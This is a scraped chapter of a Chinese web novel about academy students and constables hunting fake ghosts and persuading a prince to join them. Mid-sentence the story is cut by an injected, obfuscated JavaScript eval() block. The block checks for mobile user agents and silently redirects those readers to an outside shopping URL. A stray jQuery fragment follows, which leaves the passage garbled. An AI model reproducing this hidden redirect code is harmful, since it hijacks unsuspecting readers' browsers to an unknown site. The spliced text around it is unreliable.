文趣网 > 其他小说 > 国子监今天扩招了吗 > 29. 请出山
    清晨的国子监闹哄哄的,国子监学生和松阳院学生又聚在了一块儿,喧哗吵闹,神色焦灼。陆辛微甫一进门,就被苏丘吾等人迅速围了过来。

    “陆兄!大事不妙了,国子监昨晚也开始闹鬼了!”苏丘吾大惊失色道。

    “嗯?”陆辛微感到很惊讶。

    苏丘吾简单精准地描述了一遍昨晚的场景。他昨晚本来想在国子监奋发读书,结果就遇到了和陆辛微在松阳院经历的堪称一模一样的情景。陆辛微沉思片刻,安慰他们先别慌张,“应该是同一拨人作祟,我已经请到了府衙的刘大哥和马大哥,他们今晚便帮我们捉鬼。”

    “刘投和马勉?”陈献山意味深长地看了她一眼,“这两位不是晋王殿下手下最厉害的捕快吗?晋王殿下竟然同意借你?”

    不等陆辛微答话,苏丘吾先大大咧咧地说道:“说明晋王殿下不仅重视陆兄,还重视书院太平嘛。”

    松阳院的学生回想最近几晚的事,表情惴惴不安。虽然他们不知何时是个头,但目前总归还算有个办法。他们回答道:“真的吗?那真是太好了,多谢陆兄!”

    陆辛微郑重地点点头,回头看了看晴朗天色。

    和煦的阳光照亮了大地,扫除一切阴霾。

    “陆兄?你看什么呢?”

    只见她双手叉腰,正气凛然道:“诸位,且看这朗朗乾坤。不管是何等妖人作祟,最后都逃不过我们的手里。诸位兄弟,捍卫书院的时候到了!”

    众人受到感染,不禁举手称好。

    陆辛微收敛神色,继续说道:“今晚我们分开行动,具体计划,你们且听我慢慢道来。”

    于是他们纷纷附耳过去。

    “我们堵好每个门口,使之无路可逃。蹲守的兄弟倘若恰好遇见,谨记释放信号。今晚无论其使任何花招,无需搭理,狠狠揍之!切记将其往国子监和松阳院间隔的那条岔路上引,我和刘大哥会在此路接应。最后大伙一齐加入,人多力量大,叫它有来无回!”

    众人点头:“好,就依陆兄所言!”

    一天的时间很快过去,夜晚如约而至,国子监和松阳院的学生们蓄势待发,严肃列阵。陆辛微发号施令后,国子监和马勉一道,陆辛微、刘投则和松阳院的学生们一起,他们待在各自的角落,静静等候着鬼影的出没。

    正是月黑杀人夜,风高放火天。

    灯光依旧通明,两所书院却前所未有地陷入严肃的氛围。

    陆辛微始终皱着眉头,对上次的鬼显然心有余悸,一旁的刘投安抚地拍了拍她的肩膀。

    忽然,烛火一闪,阴森森的笑声隐约出没,甚至带着回音。大家伙心中开始不约而同地想到——鬼来了。

    松阳院内,鬼影以迅雷不及掩耳之势在草木中穿梭,黑漆漆一团,没有脚,飘然似三魂六魄。

    陆辛微和刘投身手敏捷,二话不说便追了上去。

    而终点,同样是那间废弃的卷宗库。

    四周是诡异的寂静,陆辛微神色凝重,对刘投说道:“刘大哥,上回我们也是在这里看见的鬼,不知这回——”

    话音未落,一团浓雾突然将他们二人隔开。白茫茫的一片,伸手不见五指,仿佛被霜雪包围着。陆辛微猝不及防地退了几步,逐渐看不见刘投的身影,哪怕她又回到原点,还是不见对方踪迹。她似乎与世隔绝,整个人都被淹没在这片虚无幻境里。

    她和刘投走失了。

    这又是什么新的招数?

    她慌张地四处张望,企图找出破绽。但猛然间又和那张血腥鲜红的脸眼对眼,鼻对鼻,彼此贴得很近,阴冷的寒气直往她的身上逼,隐隐还有股臭味。陆辛微吓得脸色一白,扭头就开始跑。

    “啊啊啊——”

    她不知是何时跑出这团浓雾的。

    只知道跑到一半,她气喘吁吁地和国子监的学生在岔路口相遇了。

    他们亦满头大汗,慌慌张张地说自己同样陷入了白雾。

    陆辛微站在原地,低头缓了好久,才慢慢地恢复了一点神智。

    过了半晌,松阳院的学生灰头土脸地出现了。他们说他们没有看见白雾,反而看见了黑雾。

    众人同时仰天长叹一声,最后垂头丧气地坐在路边。

    苏丘吾不禁有点沮丧:“陆兄,你觉得我们还能抓到鬼吗?”

    陆辛微摇摇脑袋,心生挫败之感,痛苦地捂着额头:“这场闹剧什么时候才能结束?我真的受不了了。”

    陈献山尚且还带点冷静,提醒道:“刘捕快和马捕快还没回来。”

    苏丘吾眼睛顿时一亮:“对哦,刘捕快和马捕快身手也很好,而且一听名字就是捉鬼的!我们要相信他们。”

    说罢,他从怀里摸出一袋花生,熟练地朝陆辛微和陈献山递去。“陆兄,陈兄,当事态进入死胡同的时候,不妨先一起吃点花生吧!”

    陈献山无语地翻了个白眼。

    陆辛微则佩服他良好的心态。

    就在此时,刘投和马勉一前一后地回来了。

    陆辛微满怀希冀地瞅着他们,但他们非常遗憾地摇了摇头。

    捉鬼大计,完美失败。

    *

    “实在是太吓人了!”

    府衙,陆辛微站在李观途面前,窝囊又生气地踢了踢台阶,神情夸张地抱怨道:“晚上本来就看不清东西,他们还出怪招,骇死人了。我是没办法了,捉又捉不到,还要天天被他们吓。再这样下去,我不仅夜里恍惚,白天也要精神失常了。”

    李观途双手抱臂,倚着门柱,耐心地听她说完一箩筐的话。

    “卷宗库里或许有他们想要的东西。”他冷静地说,“只是他们尚未找到,所以这几日一直在扮鬼吓唬你们。至于你所说的那些离奇招数,应当属于江湖中一些下三滥的幻术。”

    “殿下已经猜到了?”陆辛微站在太阳底下,仰着头问。

    “七七八八吧。”李观途漫不经心地嗯了一声,“有回声说明不止一人,血红的脸是戏子唱戏时经常会扮的扮相,没有人比他们更熟悉怎么画脸,这些色彩颜料基本上也只有戏班会用,你说的没有脚其实是戏子所学的一种特殊技艺。不过都是些拙劣的戏法,从来都没有鬼。”

    “殿下说得轻巧,一开始我也是这样想的。”陆辛微弱弱反驳,“可是当我身临其境时,我才发现,我根本克服不了那点对鬼的天然恐惧。尤其小时常听长辈说些鬼怪之事,说它们有多么凶恶,有多么恐怖,自然而然就更加畏惧了。”

    她撇了撇嘴。

    现在就连刘大哥和马大哥出马都没用了,还有什么办法呢?难不成书院真要一直惨遭此等祸事吗?

    ……咦,眼前不是站了个活阎王吗?

    陆辛微起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712846|205791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了主意,登时眼睛一亮,几步跨上台阶,像个小狗般热情地贴了过去,巴结又讨好地对李观途笑着。

    “殿下,要不你和我们一起捉鬼吧!”她兴奋地提议道。

    李观途不动,嗤笑道:“我很闲?”

    知道他一时半会不会答应,陆辛微熟练地开启她的无赖招数。

    “哎呀,殿下你都猜的差不多了,我们哪有你聪明机智啊,没有你我们还被蒙在鼓里呢,现在也需要有你出马才能事半功倍嘛。你就大发慈悲,可怜可怜我们吧。”

    “殿下,你就帮帮我们吧,用你的一身正气把那些鬼全都吓得魂飞魄散!”陆辛微拽他袖子,“你若不来,我们又要好几夜睡不着觉啦。睡不着觉,就会考不好试,考不好试就会中不了榜,中不了榜就无法为国家效力,殿下,那国家得损失多少人才呀。”

    她无辜地眨眨眼睛:“你忍心看着学生如此颓废吗?”

    李观途觉得陆辛微是在得寸进尺,但他没有证据。

    她又吵又闹,大有一股他不答应她不罢休的架势,李观途对付这种人向来是有手段的,但他此刻一招都使不出来。

    他沉默地抬头望天,耳边充斥着她叽叽喳喳的声音,宛若一只小麻雀围着他转,虽然烦,但……还挺顺耳的。

    最后,李观途无奈妥协,轻叹一声,抬手敲了敲陆辛微的额头。“巧言令色。”

    陆辛微顿时欢呼雀跃,推着他就往府外走。

    傍晚,李观途换了身轻便的黑衣,和她一起来到松阳院。

    陆辛微喋喋不休道:“殿下,晚上松阳院和国子监分头行动。我们的想法是这样的,松阳院里我和刘大哥一起,国子监由马大哥负责,各个门口角落都有学生蹲守,保证无一外人闯入……”

    李观途双手抱臂,漫不经心地听着。

    陆辛微越说越兴奋,仿佛请来了李观途就像请来了如来佛,事情赫然已经到了可以解决的终点。什么牛鬼蛇神,在咱们活阎王的面前,难道还有退路可走?

    走着走着,李观途却像是注意到了什么,神色一怔,不敢置信地又后退了几步。

    陆辛微疑惑地跟随他的步伐,“殿下,怎么了?”

    李观途面无表情地看着松阳院的告示墙,然后指指成绩名单上最后一排的“陆辛微”三个大字,恨铁不成钢地说道:“你能不能争点气?如此败坏我的名声吗?”

    是了,陆辛微自从来到松阳院,成绩一直光荣地排在倒数第一的位置。不管她怎么努力,这个排名始终丝毫不动,稳如泰山。有时,她都甚至怀疑是不是松阳院的夫子瞧不起她而故意为之。

    不过她还是有点自知之明的,实在是松阳院的学生们太强大了,她拼不过。后来她看开了,反正这名单贴在这儿没啥作用,上面的人名变化激烈,她的名字稳如老狗,大家都不在意,她又何须在意,就当是道别样的风景。

    但现在这道风景,被李观途看见了。李观途竟然嫌她丢脸。

    陆辛微顷刻委屈:“我尽力了!松阳院的学生根本就是魔鬼。而且你这个老师天天忙,也没教我什么东西啊。”

    话刚说出口,她就有点后悔了。

    果不其然,李观途的黑眸一眨不眨地看她,倏忽冷笑一声:“好啊,从明天开始,本王一定好好教你。”

    陆辛微忽然感觉背脊发凉,一阵恶寒。